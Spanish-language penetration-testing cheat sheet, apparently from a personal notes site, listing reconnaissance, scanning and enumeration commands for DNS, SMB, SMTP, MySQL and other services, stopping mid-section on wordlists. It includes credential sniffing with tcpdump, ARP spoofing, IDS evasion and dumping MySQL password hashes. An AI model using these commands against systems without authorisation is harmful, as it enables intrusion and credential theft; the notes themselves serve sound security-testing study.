# Inicio

Apuntes sobre pentesting de infraestructura y servicios TI.


# Metodologías y estándares

## Penetration Testing Execution Standard (PTES)

* <http://www.pentest-standard.org/>

## Open Source Security Testing Methodology Manual (OSSTMM)

* <https://www.isecom.org/>


# Vulnerabilidades

## Identificación

### Common Vulnerabilities and Exposures (CVE) <a href="#identificacioncommon-vulnerabilities-and-exposures-cve" id="identificacioncommon-vulnerabilities-and-exposures-cve"></a>

* <https://cve.mitre.org/>

El CVE-ID ofrece una nomenclatura estándar para identificar las vulnerabilidades de forma inequívoca:

* El formato para CVE-ID es: CVE-YYYY-NNNN (YYYY indica el año y NNNN el número de vulnerabilidad). Desde enero de 2014 este identificador puede contener, si es necesario, más de cuatro dígitos.
* El formato para vulnerabilidades candidatas es: CAN-YYYY-NNNN (YYYY indica el año y NNNN el número de vulnerabilidad)

## Impacto

### Common Vulnerability Score System (CVSS)

* <https://www.first.org/cvss/>

## Clasificación

### Common Weakness Enumeration (CWE)

* <https://cwe.mitre.org/>

### OWASP Web Top 10

* <https://owasp.org/www-project-top-ten/>

### OWASP Mobile Top 10

* <https://owasp.org/www-project-mobile-top-10/>

### OWASP API Security Top 10

* <https://owasp.org/www-project-api-security/>

### Common Attack Pattern Enumeration and Classification (CAPEC)

* <https://capec.mitre.org/>

### The WASC Threat Classification

* <http://projects.webappsec.org/Threat-Classification>


# Bases de datos de vulnerabilidades

## National Vulnerability Database (NVD)

* <https://nvd.nist.gov/vuln/search>

## CVE Details

* <https://www.cvedetails.com/version-search.php>

## Snyk

* <https://security.snyk.io/>

```shell
# Google dorks
site:snyk.io/vuln "<product> <version>"
```

## VulDB

* <https://vuldb.com/?search>


# Aplicaciones vulnerables

## Servicios

* [Metasploitable 2](https://sourceforge.net/projects/metasploitable/)
* [Metasploitable 3](https://github.com/rapid7/metasploitable3)

## Web

* [Damn Vulnerable Web App (DVWA)](https://github.com/digininja/DVWA)
* [Damn Vulnerable GraphQL Application (DVGA)](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application)
* [buggy Web APPplication (bWAPP)](https://sourceforge.net/projects/bwapp/)
* <http://www.vulnweb.com/>
* <https://www.megacorpone.com/>

## API

* [Completely Ridiculous API (crAPI)](https://github.com/OWASP/crAPI)
* [Vulnerable Adversely Programmed Interface (vAPI)](https://github.com/roottusk/vapi)


# Información general

## Empresas

### Crunchbase

* <https://www.crunchbase.com/>

## Personas

### LinkedIn

* <https://www.linkedin.com/>

### Spokeo

* <https://www.spokeo.com/>

### PeopleFinders

* <https://www.peoplefinders.com/>

## Correos electrónicos

### Hunter

* <https://hunter.io/>

## Anuncios / ofertas de trabajo

### LinkedIn <a href="#anuncios-ofertas-de-trabajo-linkedin" id="anuncios-ofertas-de-trabajo-linkedin"></a>

* <https://www.linkedin.com/>

### Indeed

* <https://www.indeed.com/>

### Glassdoor

* <https://www.glassdoor.com/>


# Información de recursos en Internet

## WHOIS

WHOIS, protocolo de consulta y respuesta de información para recursos en internet (puerto 43/TCP).

```shell
whois <domain-name>
```

* \<domain-name> = nombre de dominio.

```shell
 whois <IP-address>
```

* \<IP-address> = dirección IP.

## DomainTools

* <https://whois.domaintools.com/>

## theHarvester

```shell
theHarvester -d <domain-name> -b all
```

* \<domain-name> = nombre de dominio.
* -b = fuente de información.

## Nmap

```shell
nmap --script whois-domain <domain-name> -sn
```


# Direcciones IP y ASN

## BGP Toolkit

* <https://bgp.he.net/>


# Hosts

## Netcraft

* <https://sitereport.netcraft.com/>

## Maltego

* <https://www.maltego.com/>

## Censys

* <https://search.censys.io/>

## Shodan

* <https://www.shodan.io/>

## ZoomEye

* <https://www.zoomeye.org/>


# Domain Name System (DNS)

Transferencia de zona 53/TCP y búsqueda de nombre 53/UDP.

## **Tipos comunes de registros DNS**

* A = registro que contiene la dirección IP de un dominio.
* AAAA = registro que contiene la dirección IPv6 de un dominio.
* CNAME = reenvía un dominio o subdominio a otro dominio, no proporciona una dirección IP.
* MX = dirige el correo a un servidor de correo electrónico.
* TXT = permite que un administrador pueda almacenar notas de texto en el registro.
* NS = almacena el servidor de nombres para una entrada DNS.
* SOA = almacena la información del administrador sobre un dominio.
* SRV = especifica un puerto para servicios específicos.
* PTR = proporciona un nombre de dominio en búsquedas inversas.

## **nslookup**

nslookup: Name System Lookup.

```shell
nslookup
set type=any
<domain-name>
```

```shell
nslookup
server <dns-server>
set type=any
<domain-name>
```

```shell
nslookup -q=ANY <domain-name> <dns-server>
```

* \<domain-name> = nombre de dominio.
* \<dns-server> = servidor DNS.

## **dig**

dig: Domain Information Groper.

```shell
dig any <domain-name>
```

```shell
dig any <domain-name> @<dns-server>
```

* \<domain-name> = nombre de dominio.
* \<dns-server> = servidor DNS.

## DNSdumpster

* <https://dnsdumpster.com/>

## DNSRecon

```shell
dnsrecon -d <domain-name>
```

## Nuclei

```sh
nuclei -u <domain-name> -t dns -ts -silent
```


# Sistema operativo

## Identificación de sistema operativo en función de TTL (Time To Live)

TTL (Time To Live) es un valor de temporizador incluido en los paquetes enviados a través de redes, que le dice al destinatario cuánto tiempo debe retener o usar el paquete antes de descartar y expirar los datos (paquete). Los valores de TTL son distintos para cada sistema operativo. Por lo tanto, es posible "suponer" el tipo de sistema operativo en función del valor TTL.

```shell
ping -c 1 <target>
```

* -c = detenerse después de la cantidad de respuestas específicas.
* \<target> = objetivo.

| Sistema operativo  | TTL (Time To Live) |
| ------------------ | ------------------ |
| \*nix (Linux/Unix) | 64                 |
| Windows            | 128                |
| Solaris/AIX        | 254                |

## Nmap

```shell
nmap -O -n <target> -oN nmap-os.txt 
nmap -O -iL -n <host-list.txt> -oN nmap-os.txt
nmap --script smb-os-discovery -p 445 -Pn <target>
```

* -O = identificación de sistema operativo.
  * \<target> = objetivo.
* -iL = lectura de host a descubrir desde archivo.
  * \<host-list.txt> = archivo con listado de host.


# Google hacking / dorks

## Google hacking database

* <https://www.exploit-db.com/google-hacking-database>

```sh
# Listado de directorios (directory indexing)
site:<target> intitle:"index of" "to parent directory" "parent directory"
```

## DorkSearch

* <https://www.dorksearch.com/>


# Buckets

## Greyhatwarfare

* <https://buckets.grayhatwarfare.com/>


# Descubrimiento de host

## ARP

### Máquina local

```shell
# Linux/Unix
arp
# Windows
arp -a
```

### Herramientas

```shell
arp-scan -l
arp-scan -I <interface> <CIDR>
netdiscover -i <interface> -r <CIDR>
```

* \<interface> = interfaz de red.
* \<CIDR> = Classless Inter-Domain Routing.

## Ping

```bash
# Windows
# Símbolo del sistema (cmd)
for /l %i in (1,1,254) do @ping -4 -n 1 -w 100 X.X.X.%i | findstr TTL
# PowerShell
1..254 | % {ping -4 -n 1 -w 100 X.X.X.$_} | Select-String TTL
1..254 | % {ping -4 -n 1 -w 100 X.X.X.$_} | Select-String TTL | % {$regex = [regex] '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'; $regex.Matches($_)} | % {$_.value}

# Linux/Unix
for i in $(seq 1 254); do (ping -c 1 X.X.X.${i} | grep "bytes from" &); done;
```

## fping

Utiliza Internet Control Message Protocol (ICMP) para determinar si un host está activo.

<table><thead><tr><th width="308">Descripción</th><th>Tipo</th><th>Código</th></tr></thead><tbody><tr><td>Echo request (petición de eco)</td><td>8</td><td>0</td></tr><tr><td>Echo reply (respuesta de eco)</td><td>0</td><td>0</td></tr></tbody></table>

```shell
fping -a -A -n <IP-address> 2>/dev/null
fping -a -A -n -g -q <start-IP-address> <end-IP-address> 2>/dev/null
fping -a -A -n -g -q <CIDR> 2>/dev/null
fping -a -A -n -g -q <CIDR> | tr -d '()' | awk '{print $2"\t"$1}' | column -t >> fping.txt
```

* -a = host activos.
* -A = muestra host por dirección IP.
* -n = muestra host por nombre (DNS).
* \<IP-address> = dirección IP.
* -g = hosts a descubrir.
  * \<start-IP-address> = dirección IP inicio.
  * \<end-IP-address> = dirección IP final.
  * \<CIDR> = Classless Inter-Domain Routing.
* 2>/dev/null = envía todos los errores producidos por el comando a `/dev/null`, son ignorarlos y no se muestran.

## Nmap

### Listado de host utilizando resolución inversa de DNS

```shell
nmap -sL <IP-address>
nmap -sL <CIDR>
nmap -sL X.X.X.0-255
nmap -sL X.X.X.*
nmap -sL X.X.0-255.*
```

* -sL = listado de host utilizando resolución inversa de DNS. No envía ningún paquete a los host.
  * \<IP-address> = dirección IP.
  * \<CIDR> = Classless Inter-Domain Routing.

### Descubrimiento de host activos

```shell
nmap -sn <IP-address>
nmap -sn <CIDR> -oN nmap-host-discovery.txt
nmap -sn X.X.X.0-255
nmap -sn X.X.X.*
nmap -sn X.X.0-255.*
nmap -sn -PS21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 {CIDR} -oN nmap-host-discovery-top-ports.txt
```

* -sn = descubrimiento de host utilizando:

<table><thead><tr><th width="289.3333333333333">ICMP</th><th>Tipo</th><th>Código</th></tr></thead><tbody><tr><td>Echo request (petición de eco)</td><td>8</td><td>0</td></tr><tr><td>Echo reply (respuesta de eco)</td><td>0</td><td>0</td></tr></tbody></table>

| Protocolo | Puerto | Petición |
| --------- | ------ | -------- |
| TCP       | 80     | ACK      |
| TCP       | 443    | SYN      |

{% hint style="info" %}
La opción **`-sn`** no completa el procedimiento de negociación de tres pasos de TCP (3 way handshake).
{% endhint %}

### Descubrimiento de host activos vía escaneo de puertos

```shell
nmap -Pn <IP-address>
nmap -Pn <CIDR>
nmap -Pn X.X.X.0-255
nmap -Pn X.X.X.*
nmap -Pn X.X.0-255.*
```

* -Pn = no realiza fase de descubrimiento de host, considera a todos como activos y realiza un escaneo de puertos para determinar los host activos.
  * \<IP-address> = dirección IP.
  * \<CIDR> = Classless Inter-Domain Routing.

### Descubrimiento de servidores por servicio

```shell
# DNS, Domain Name System
nmap -sS -sU -p 53 --open <CIDR> -oN nmap-dns-servers.txt
# SNMP, Simple Network Management Protocol
nmap -sS -sU -p 161,162 --open <CIDR> -oN nmap-snmp.txt
```

* -sS = escaneo TCP SYN (stealth/sigilo).
* -sU = escaneo puertos UDP.
* -p = puerto TCP/UDP.
* \--open = mostrar solo puertos abiertos (o posiblemente abiertos).
* \<CIDR> = Classless Inter-Domain Routing.


# Sniffing y MitM attack

Sniffing y MitM attack (Man in the middle attack)

## Tcpdump

```shell
tcpdump -i <interface>
tcpdump -i <interface> -v src <source-IP-address> and dst <destination-IP-address> and port <port>
tcpdump -i <interface> -v port 80 | egrep -i "POST /|GET /|Host:"
tcpdump -i <interface> -v port 80 | egrep -i "POST /|GET /|clave=|pwd=|passwd=|password=|Host:"
tcpdump -i <interface> -v port 80 | egrep -i "Set-Cookie:|Cookie:|Host:"
tcpdump -r <file.pcap>
```

## Ettercap

* <https://www.ettercap-project.org/>

```bash
ettercap -G
```

## Bettercap

* <https://www.bettercap.org/>

```shell
# General
bettercap
net.probe on
net.recon on
net.sniff on
net.show
events.show

# Selección de interfaz
bettercap -iface <interface>

# Sniffing host y puerto específico
set net.sniff.filter "host <IP-address> and port <port>"
net.sniff on
events.show

# Interfaz de usuario (user:pass)
bettercap -caplet http-ui
```

## ARPspoof

```shell
arpspoof -i <interface> -t <gateway-IP-address> <target-IP-address>
arpspoof -i <interface> -t <target-IP-address> <gateway-IP-address>
```

## Responder

```
responder -I <interface> -A
```


# Escaneo de puertos

## Bash

```bash
for PORT in {1..65535}; do (echo > /dev/tcp/X.X.X.X/$PORT) >/dev/null 2>&1 && echo $PORT is open; done
for PORT in {1..65535}; do timeout 1 bash -c "</dev/tcp/X.X.X.X/$PORT >/dev/null" && echo "port $PORT is open"; done
```

## Netcat

```shell
nc -zv <target> 1-65535
```

## Nmap

### Escaneo de puertos TCP

```shell
# Principales 1000 puertos TCP
nmap -sS --open -n <target> -oN nmap-main-tcp-ports.txt
# Todos los puertos TCP
nmap -sS -p- --open -n <target> -oN nmap-all-tcp-ports.txt
```

* -sS = escaneo TCP SYN (stealth/sigilo).
* -p- = todos los puertos TCP (1 al 65.535). Para incluir el puerto 0 (cero), se debe especificar explícitamente `-p0-65535`.
* \--open = mostrar solo puertos abiertos (o posiblemente abiertos).
* -n = sin ejecución de resolución DNS.
* \<target> = objetivo.
* -oN = guarda resultado del escaneo en archivo `nmap-all-tcp-ports.txt`.

### Escaneo de puertos UDP

```shell
# Principales 1000 puertos UDP
nmap -sU -n <target> -oN nmap-main-udp-ports.txt
# Todos los puertos UDP
nmap -sU -p- -n <target> -oN nmap-all-udp-ports.txt
```

* -sU = escaneo puertos UDP.
* -p- = todos los puertos TCP (1 al 65.535). Para incluir el puerto 0 (cero), se debe especificar explícitamente `-p0-65535`.
* -n = sin ejecución de resolución DNS.
* \<target> = objetivo.
* -oN = guarda resultado del escaneo en archivo `nmap-all-udp-ports.txt`.

### Escaneo de puertos TCP y UDP

```shell
nmap -sS -sU -p0-65535 --open -n <target> -oN nmap-all-tcp-udp-ports.txt
```

* -sS = escaneo puertos TCP (SYN - stealth/sigilo).
* -sU = escaneo puertos UDP.
* -p0-65535 = todos los puertos TCP y UDP (0 al 65.535).
* \--open = mostrar solo puertos abiertos (o posiblemente abiertos).
* -n = sin ejecución de resolución DNS.
* \<target> = objetivo.
* -oN = guarda resultado del escaneo en archivo `nmap-all-tcp-udp-ports.txt`.

## Invoke-Portscan

```powershell
Invoke-Portscan.ps1
Get-Help Invoke-Portscan
Invoke-Portscan -Hosts <target> -TopPorts <number-of-ports>
```

## Idle scan

### Nmap <a href="#idle-scan-nmap" id="idle-scan-nmap"></a>

```shell
# Identificar máquina zombie
nmap -O -v -n <zombie-IP-address> -p <zombie-port>
# Realizar idle scan
nmap -Pn -sI <zombie-IP-address>:<zombie-port> <target> -p <port>
```

### Hping <a href="#idle-scan-hping" id="idle-scan-hping"></a>

```shell
# Identificar máquina zombie
hping3 -S -r <zombie-IP-address> -p <zombie-port>
# Realizar idle scan
hping3 -a <zombie-IP-address> -S <target> -p <port>
```

## Evasión de firewall/IDS

### Nmap <a href="#evasion-de-firewall-ids-nmap" id="evasion-de-firewall-ids-nmap"></a>

```shell
# Fragmentation
nmap -sS -f <target>
# Decoys
nmap –sS –D <decoy-IP-01>,<decoy-IP-02>,<decoy-IP-03>,ME <target>
# Timing
nmap –sS –T<0-5> <target>
# Source port
nmap –sS --source-port <port> <target>
nmap -sS -g <port> <target>
```


# Identificación de servicios

## Banner grabbing

```sh
nc -vn <target> <port>
telnet <target> <port>
```

## Nmap

### Identificación de servicios para “principales” puertos TCP

```shell
nmap -sC -sV -n <target> -oN nmap.txt
```

* -sC = utilización de secuencias de comandos predeterminado.
* -sV = identificación de servicio y su versión.
* -n = sin ejecución de resolución DNS.
* \<target> = objetivo.
* -oN = guarda resultado del escaneo en archivo `nmap.txt`.

### Identificación de servicios para determinados puertos TCP y UDP

```shell
nmap -sC -sV -p T:22,80,443,U:53,161 -n <target> -oN nmap.txt
```

* -sC = utilización de secuencias de comandos predeterminado.
* -sV = identificación de servicio y su versión.
* -p T:22,80,443,U:53,161 = únicamente los puertos 22/TCP, 80/TCP, 443/TCP, 53/UDP y 161/UDP.
* -n = sin ejecución de resolución DNS.
* \<target> = objetivo.
* -oN = guarda resultado del escaneo en archivo `nmap.txt`.


# Servicios


# 21/TCP (FTP)

FTP, File Transfer Protocol.

## Banner grabbing

```shell
nc -vn <target> 21
```

## Vulnerabilidades

### Nmap

```shell
nmap -p 21 --script=vuln <target>
nmap -p 21 --script=ftp-anon.nse <target>
```


# 22/TCP (SSH)

SSH, Secure SHell.

## Banner grabbing

```shell
nc -vn <target> 22
```

## Vulnerabilidades

```shell
nmap -p 22 --script=vuln <target> -oN nmap-vuln-SSH.txt
```


# 25/TCP, 465/TCP, 587/TCP (SMTP/S)

SMTP, Simple Mail Transfer Protocol. SMTPS, Simple Mail Transfer Protocol Secure.

## Banner grabbing

```shell
nc -vn <target> 25
```

## Vulnerabilidades

```shell
nmap -p 25,465,587 --script=vuln <target> -oN nmap-vuln-SMTP.txt
nmap -p 25,465,587 --script=smtp-open-relay.nse <target>
```

## Enumeración

### Nmap

```shell
nmap -p 25 --script smtp-enum-users.nse <target> -oN nmap-enum-users-SMTP.txt
```

### smtp-user-enum

```shell
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t <target> | tee smtp-user-enum-vrfy-top.txt
smtp-user-enum -M EXPN -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t <target> | tee smtp-user-enum-expn-top.txt
smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t <target> | tee smtp-user-enum-rcpt-top.txt
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t <target> | tee smtp-user-enum-vrfy.txt
```

### VRFY

```shell
nc -vn <target> 25
HELO idontexist
VRFY <user>
```

### EXPN

```shell
nc -vn <target> 25
HELO idontexist
EXPN <user>
```

### RCPT TO

```shell
nc -vn <target> 25
HELO idontexist
MAIL FROM: user@example.com
RCPT TO: <user>
```


# 80/TCP, 443/TCP (HTTP/S)

HTTP, Hypertext Transfer Protocol. HTTPS, Hypertext Transfer Protocol Secure.

## Vulnerabilidades

### Nmap

```shell
# General
nmap -p 80,443 --script=vuln <target>
# Heartbleed (CVE-2014-0160)
nmap -p 443 --script=ssl-heartbleed <target>
```

### Nikto

```shell
nikto -h <target> -p 80 -o nikto.txt -Format txt
```

## Fuzzing

* [Directorios](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/directorios).
* [Archivos](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/archivos).
* [Extensiones](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/extensiones).
* Parámetros.
  * [GET](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/parametros/get).
  * [POST](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/parametros/post).
* [Wordlists](https://web.mrw0l05zyn.cl/escaneo-y-enumeracion/fuzzing/wordlists).


# 137/UDP, 138/UDP, 139/TCP (NetBIOS)

NetBIOS, Network Basic Input/Output System.

## nmblookup

```shell
nmblookup -A <target>
```

* -A = búsqueda por IP.
* \<target> = objetivo.

## NBTScan

```shell
nbtscan <target>
nbtscan <CIDR>
nbtscan -rv <CIDR>
```

* -r = utiliza el puerto local 137 para el escaneo (Microsoft Windows 95 responden solo a esto).&#x20;
* -v = modo verboso.
* \<target> = objetivo.
* \<CIDR> = Classless Inter-Domain Routing.


# 161/UDP, 162/UDP (SNMP)

SNMP, Simple Network Management Protocol.

## Nmap

```shell
nmap -sC -sV -sU -p 161,162 -Pn <target> -oN nmap-snmp.txt
```

* -sC = utilización de secuencias de comandos predeterminado.
* -sV = identificación de servicio y su versión.
* -sU = escaneo puertos UDP.
* -p = puertos 161/UDP y 162/UDP.
* \<target> = objetivo.

## snmp-check

```shell
snmp-check <target> | tee snmp-check.txt
```


# 389/TCP/UDP, 636/TCP, 3268/TCP, 3269/TCP (LDAP)

LDAP, Lightweight Directory Access Protocol.

## Nmap

```shell
nmap -sC -sV -sS -sU -p T:389,636,3268,3269,U:389 --script="ldap* and not brute" <IP-address-DC> -oN nmap-ldap.txt
```

* -sC = utilización de secuencias de comandos predeterminado.
* -sV = identificación de servicio y su versión.
* -sS = escaneo TCP SYN (stealth/sigilo).
* -sU = escaneo puertos UDP.
* -p T:389,636,3268,3269,U:389 = únicamente los puertos 389/TCP, 636/TCP, 3268/TCP, 3269/TCP y 389/UDP.
* \<IP-address-DC> = dirección IP del controlador de dominio.&#x20;
* -oN = guarda resultado del escaneo en archivo nmap-ldap.txt.

## LDAPDomainDump

```shell
mkdir ldapdomaindump
ldapdomaindump <IP-address-DC> -u "<ACME.LOCAL>/<user>" -p "<password>" --no-json --no-grep -o ldapdomaindump
```


# 445/TCP (SMB)

SMB, Server Message Block.

## Vulnerabilidades

```shell
nmap -p 139,445 --script=vuln <target> -oN nmap-vuln-SMB.txt
```

## Sesiones nulas

### smbclient <a href="#sesiones-nulas-smbclient" id="sesiones-nulas-smbclient"></a>

```shell
smbclient -N -L <target>
smbclient -N -L <target> --option='client min protocol=NT1'
```

* -N = sin contraseña.&#x20;
* -L = Lista carpetas compartidas.
* \<target> = objetivo.

```shell
smbclient -N \\\\<target>\\<sharename>
smbclient -N \\\\<target>\\<sharename> --option='client min protocol=NT1'
```

* -N = sin contraseña.&#x20;
* \<target> = objetivo.&#x20;
* \<sharename> = nombre del recurso compartido.

### SMBMap <a href="#sesiones-nulas-smbmap" id="sesiones-nulas-smbmap"></a>

```shell
smbmap -u null -H <target>
smbmap -H <target>
```

* -u = sin usuario.&#x20;
* -H = host.
  * \<target> = objetivo.

```shell
smbmap -u null -R -H <target>
smbmap -R -H <target>
```

* -u = sin usuario.&#x20;
* -R = lista contenido de directorios de forma recursiva.&#x20;
* -H = host.
  * \<target> = objetivo.

### rpcclient <a href="#sesiones-nulas-rpcclient" id="sesiones-nulas-rpcclient"></a>

```shell
 rpcclient -U "" -N <target>
```

* -U "" = sin usuario.&#x20;
* -N = sin contraseña.
* \<target> = objetivo.

### Nmap <a href="#sesiones-nulas-nmap" id="sesiones-nulas-nmap"></a>

```shell
nmap --script smb-enum-shares -p 139,445 <target>
```

* \--script smb-enum-shares = enumeración de recursos compartidos.
* -p = puertos.
* \<target> = objetivo.

## smbclient

```shell
# Listar carpetas compartidas
smbclient -L \\\\<target>\\<sharename> -W <workgroup> -U <username>
# Obtener consola
smbclient \\\\<target>\\<sharename> -W <workgroup> -U <username> <password>
```

* -L = Lista carpetas compartidas.
* \<target> = objetivo.
* \<sharename> = nombre del recurso compartido.
* -W = grupo de trabajo o dominio.
  * \<workgroup> = nombre de grupo de trabajo o dominio.
* -U = información de inicio de sesión de usuario.
  * \<username> = nombre de usuario.
  * \<password> = contraseña de usuario.

## SMBMap

### Contenido de directorios de forma recursiva <a href="#smbmap-contenido-de-directorios-de-forma-recursiva" id="smbmap-contenido-de-directorios-de-forma-recursiva"></a>

```shell
smbmap -d <workgroup> -u <username> -p <password> -R "<path\sharename>" -H <target>
```

* -d = grupo de trabajo o dominio.
  * \<workgroup> = nombre de grupo de trabajo o dominio.
* -u = nombre de usuario.
  * \<username> = nombre de usuario.
* -p = contraseña de usuario.
  * \<password> = contraseña de usuario.
* -R = lista contenido de directorios de forma recursiva.&#x20;
  * \<path\sharename> = ruta y nombre del recurso compartido.&#x20;
* -H = host.
  * \<target> = objetivo.

### Contenido de directorio <a href="#smbmap-contenido-de-directorio" id="smbmap-contenido-de-directorio"></a>

```shell
smbmap -d <workgroup> -u <username> -p <password> -r "<path\sharename>" -H <target>
```

* -d = grupo de trabajo o dominio.
  * \<workgroup> = nombre de grupo de trabajo o dominio.
* -u = nombre de usuario.
  * \<username> = nombre de usuario.
* -p = contraseña de usuario.
  * \<password> = contraseña de usuario.
* -r = lista contenido de directorio.
  * \<path\sharename> = ruta y nombre del recurso compartido.
* -H = host.
  * \<target> = objetivo.

## rpcclient <a href="#rpcclient" id="rpcclient"></a>

```shell
rpcclient -U <username>%<password> <target>
rpcclient -W <workgroup> -U <username>%<password> <target>

# Consultar información del dominio o grupo de trabajo
querydominfo
# Consultar información de visualización
querydispinfo
# Obtener información de política de contraseñas
getdompwinfo
# Enumerar usuarios
enumdomusers
# Enumerar grupos
enumdomgroups
# Obtener información de un usuario
queryuser <rid-user>
# Obtener información de un grupo
querygroup <rid-group>
# Obtener grupos de un usuario
queryusergroups <rid-user>
# Obtener miembros de un grupo
querygroupmem <rid-group>
```

* -W = grupo de trabajo o dominio.
  * \<workgroup> = nombre de grupo de trabajo o dominio.
* -U = información de inicio de sesión de usuario.
  * \<username> = nombre de usuario.
  * \<password> = contraseña de usuario.
* \<target> = objetivo.

## **enum4linux** <a href="#enum-4-linux" id="enum-4-linux"></a>

```shell
enum4linux -a <target>
```

* -a = enumeración general.
* \<target> = objetivo.

## Descarga de archivos

### smbget <a href="#descarga-de-archivos-smbget" id="descarga-de-archivos-smbget"></a>

```shell
smbget -R smb://<target>/<directory>
```

* -R = descargar el contenido completo de un directorio de forma recursiva.
* \<target> = objetivo.
* \<directory> = directorio.


# 1433/TCP (MSSQL Server)

Microsoft SQL Server.

## Metasploit

```shell
# Inicio de sesión 
auxiliary/scanner/mssql/mssql_login
# Enumeración
auxiliary/admin/mssql/mssql_enum
```


# 2049/TCP (NFS)

NFS, Network File System.

## General

```shell
/usr/sbin/showmount -e <IP-address>
```

## Nmap

```shell
nmap --script=nfs-showmount <IP-address>
```


# 3306/TCP (MySQL)

## Banner grabbing <a href="#banner-grabbing" id="banner-grabbing"></a>

```sh
nc -vn <target> 3306
```

## Vulnerabilidades <a href="#vulnerabilidades" id="vulnerabilidades"></a>

### Nmap <a href="#nmap" id="nmap"></a>

```sh
nmap -p 3306 --script=vuln <target>
```

## Conexión

```shell
mysql -u <user> -h <target> -p
mysql --user=<user> --password=<password> --host=<target>
mysql --user=<user> --password=<password> --host=127.0.0.1 --port=<port>
mysql --user=<user> --password=<password> --host=<target> -e "<query>"
```

## Información general

```shell
# Versión
select version();

# Usuarios
select user();

# Bases de datos
show databases;

# Tablas
use <database>;
show tables;
describe <table>;
```

## Usuarios

```sql
SELECT user, host, authentication_string FROM mysql.user;
SELECT concat_ws(':', user, authentication_string) FROM mysql.user;
```


# 3389/TCP (RDP)

RDP, Remote Desktop Protocol.

## Vulnerabilidades

```shell
nmap -p 3389 --script=vuln <target> -oN nmap-vuln-RDP.txt
```


# 5432/TCP (PostgreSQL)

## Banner grabbing <a href="#banner-grabbing" id="banner-grabbing"></a>

```sh
nc -vn <target> 5432
```

## Vulnerabilidades <a href="#vulnerabilidades" id="vulnerabilidades"></a>

### Nmap <a href="#nmap" id="nmap"></a>

```sh
nmap -p 5432 --script=vuln <target>
```


# 6379/TCP (Redis)

## Enumeración

### Nmap <a href="#enumeracion-nmap" id="enumeracion-nmap"></a>

```shell
nmap -sV -p 6379 --script redis-info <target>
```

* -p = puerto 6379/TCP.
* \--script redis-info = información de Redis.
* \<target> = objetivo.

### Metasploit <a href="#enumeracion-metasploit" id="enumeracion-metasploit"></a>

```shell
use auxiliary/scanner/redis/redis_server
```


# 27017/TCP (MongoDB)

## Información general

```shell
# Bases de datos
show databases;

# Colecciones
use <database-name>;
db.getCollectionNames();

# Documentos
use <database-name>;
db.<collection-name>.find();
```

## Creación de base de datos

```shell
use <database-name>;
```

## Creación de colección

```shell
use <database-name>;
db.createCollection("<collection-name>")
```

## Ingreso de documento

```shell
use <database-name>;
db.<collection-name>.find();
db.<collection-name>.insert(<json>);
db.<collection-name>.find();
```

## Actualización de campo de documento

```shell
use <database-name>;
db.<collection-name>.find();
db.<collection-name>.update({id:1}, {$set: {field: "value"}});
db.<collection-name>.find();
```

## Eliminación de documento

```shell
# Listar documentos
use <database-name>;
db.<collection-name>.find();

# Eliminación de un documento
db.<collection-name>.remove({id:1});

# Eliminación de todos los documentos de una colección
db.<collection-name>.drop();
```


# Herramientas automatizadas

## nmapAutomator

* <https://github.com/21y4d/nmapAutomator>

```shell
nmapAutomator.sh -H <target> -t <type> -o <output-directory>
```

* -H = host.
  * \<target> = objetivo.
* -t = tipo de escaneo.
  * \<type> = `Quick`, `Basic`, `UDP`, `Full`, `Vulns`, `Recon` y `All`.
* -o = output.
  * \<output-directory> = directorio de salida.

## AutoRecon

* <https://github.com/Tib3rius/AutoRecon>

```shell
# General
autorecon -v <target> -o <output-directory>
# Docker
docker run -it -v /root/results:/results --rm --name autorecon-container tib3rius/autorecon <target>
```

* \<target> = objetivo.
* -o = output.&#x20;
  * \<output-directory> = directorio de salida.

## Nuclei

* <https://nuclei.projectdiscovery.io/>

```shell
# Configuración de directorio de templates
nuclei -ud <directory>
# Actualización de templates
nuclei -ut
# Listar todos los templates
nuclei -tl
# Filtrar templates por protocolo
nuclei -tl -pt <dns, file, http, headless, tcp, workflow, ssl, websocket, whois>
```

```shell
# Scanner
nuclei -u <target> -t <template-directory>
nuclei -l targets.txt -t <template-directory>
nuclei -u <target> -t <template-directory> -rl 10
# HTTP security headers
nuclei -u <target> -t misconfiguration/http-missing-security-headers.yaml -o nuclei-http-security-headers.txt
```

* -u = URL/host.
  * \<target> = objetivo.
* -t = template.
  * \<template-directory> = template o ruta de directorio con template.
* -rl = número máximo de request por segundo.
* -rlm = número máximo de request por minuto.


# Ataques de contraseñas


# Wordlists y diccionarios

## Wordlists

* [SecLists](https://github.com/danielmiessler/SecLists)
* [Statistically likely usernames](https://github.com/insidetrust/statistically-likely-usernames)

## Diccionarios

### Generación

#### CUPP

* <https://github.com/Mebus/cupp>

```shell
cupp -i
```

* -i = modo interactivo.

#### RSMangler

* <https://github.com/digininja/RSMangler>

```shell
rsmangler --file <words.txt> --output wordlists.txt
rsmangler --file <words.txt> --output wordlists.txt --min <min-word-length> --max <max-word-length>
```

* \<words.txt> = archivo con palabras para generar `wordlists.txt`.
* \<min-word-lenght> = longitud mínima de palabra, por ejemplo: `3`.
* \<max-word-lenght> = longitud máxima de palabra, por ejemplo: `5`.

#### crunch

```shell
crunch 4 4 -f /usr/share/crunch/charset.lst numeric -o wordlists.txt
crunch <min-word-length> <max-word-length> -t <word>%%%
crunch 1 1 -p <word-1> <word-2> <word-3>
crunch 6 6 -t ddd%%% -p <word-1> <word-2> <word-3>
crunch 7 7 -t ddd%%%% -p <word-1> <word-2> <word-3>
```

#### CeWL

```shell
cewl http://<target> -d <depth> -m <min-word-length> -w wordlists.txt
```

* \<target> = objetivo.
* -d = depth to spider.
  * \<depth> = profundidad, por ejemplo: `3`.
* -m = longitud mínima de palabra.
  * \<min-word-length> = longitud mínima de palabra, por ejemplo: `3`.
* -w = guarda resultado en archivo `wordlist.txt`.

### Nombres de usuarios

#### Username Anarchy

